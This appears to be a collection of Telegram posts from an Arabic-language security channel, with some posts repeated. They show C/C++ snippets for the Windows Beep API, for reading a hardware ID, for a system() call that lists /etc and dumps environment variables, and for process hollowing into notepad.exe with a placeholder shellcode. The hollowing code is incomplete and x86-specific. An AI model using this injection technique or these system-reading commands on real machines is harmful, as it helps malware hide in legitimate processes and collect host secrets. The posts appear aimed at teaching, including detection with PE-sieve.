ماهي Kernel32.dll 🔰
Kernel32.dll Beep function is a Windows API (Application Programming Interface)
تنتج صوت بيب بسيط من خلال مكبرات الصوت في الكمبيوتر. وهي جزء من نظام التشغيل ويندوز وتم تضمينها في ملف مكتبة ربط الديناميكية Kernel32.dll.
تأخذ دالة Beep معها معاملين
المعامل الأول هو تردد الصوت بوحدة هرتز (Hz)، والمعامل الثاني هو مدة الصوت بالميلي ثانية (ms).
المثال
فإن الكود التالي سينتج صوت بيب بتردد 1000 هرتز ومدة 500 ميلي ثانية:
#include <windows.h>
int main() {
Beep(1000, 500);
return 0;
}
الكود الذي في الاعلى بلغة ++C
Kernel32.dll Beep function is a Windows API (Application Programming Interface)
تنتج صوت بيب بسيط من خلال مكبرات الصوت في الكمبيوتر. وهي جزء من نظام التشغيل ويندوز وتم تضمينها في ملف مكتبة ربط الديناميكية Kernel32.dll.
تأخذ دالة Beep معها معاملين
المعامل الأول هو تردد الصوت بوحدة هرتز (Hz)، والمعامل الثاني هو مدة الصوت بالميلي ثانية (ms).
المثال
فإن الكود التالي سينتج صوت بيب بتردد 1000 هرتز ومدة 500 ميلي ثانية:
#include <windows.h>
int main() {
Beep(1000, 500);
return 0;
}
الكود الذي في الاعلى بلغة ++C
❤3
Subprocess Exploitation
This code uses the system function to execute two commands in the terminal. The first command, "ls -lra /etc", lists the contents of the /etc directory in a long format, including hidden files. The second command, "set", displays the environment variables set in the current terminal session. After executing the commands, the program returns 0, indicating successful execution.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("ls -lra /etc; set");
return 0;
}
CH : @SparkSecurity
This code uses the system function to execute two commands in the terminal. The first command, "ls -lra /etc", lists the contents of the /etc directory in a long format, including hidden files. The second command, "set", displays the environment variables set in the current terminal session. After executing the commands, the program returns 0, indicating successful execution.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("ls -lra /etc; set");
return 0;
}
CH : @SparkSecurity
المنشور كُلة الغاية منه حتى اعلمك شلون تصنع الـ HWID
راح نستخدم مكتبة الـ <windows.h> بالـ ++C
والكود يكون كـ ألاتي
CH : @SparkSecurity
راح نستخدم مكتبة الـ <windows.h> بالـ ++C
والكود يكون كـ ألاتي
#include <iostream>
#include <windows.h>
int main(int argc, char** argv)
{
// ~ initialize (HW_PROFILE_INFO) structure
HW_PROFILE_INFO _HW_PROFILE_INFO;
// ~ setting (HW_PROFILE_INFO) structure
if (GetCurrentHwProfile(&_HW_PROFILE_INFO) != FALSE)
{
// ~ printing (HW_PROFILE_INFO) structure
std::cout << "Hardware Guid: " << _HW_PROFILE_INFO.szHwProfileGuid << std::endl;
}
return EXIT_SUCCESS;
}
CH : @SparkSecurity
❤11⚡3👍2🔥1👏1🆒1
اذا جنت من ضمن البلو تيم او حاب تكون بهالفريق ف استخدم PE-sieve حتى تفحص العمليات واعرف الفرق بين Mapped image و In-memory image
هسه نسوي مثال عملي اللي هو Process Hollowing بلغة C متطلباتة بسيطة
WIndows , mingw او Visual Studio او , IDE يعجبك
واكيد لازم صلاحية ادمنستريتر
CH : @SparkSecurity
هسه نسوي مثال عملي اللي هو Process Hollowing بلغة C متطلباتة بسيطة
WIndows , mingw او Visual Studio او , IDE يعجبك
واكيد لازم صلاحية ادمنستريتر
#include <windows.h>
#include <stdio.h>
int main() {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
// بايلود وهمي (نستخدم بايلود اخر )
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP NOP RET
};
//هنا ننشئ العملية
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi)) {
printf("[-] Failed to create process.\n");
return -1;
}
//هنا ناخذ معلومات السياق اذا يقرا او فشل ف القراءة
if (!GetThreadContext(pi.hThread, &ctx)) {
printf("[-] Failed to get thread context.\n");
return -1;
}
// قراءة العنوان من سجل EAX أو Rcx (اعتمادًا على النظام)
LPVOID baseAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &baseAddress, sizeof(LPVOID), NULL);
// كتابة الكود في الذاكرة
WriteProcessMemory(pi.hProcess, baseAddress, shellcode, sizeof(shellcode), NULL);
// تشغيل العملية
ResumeThread(pi.hThread);
printf("[+] Hollowed notepad.exe with shellcode!\n");
return 0;
}
CH : @SparkSecurity
❤5🔥3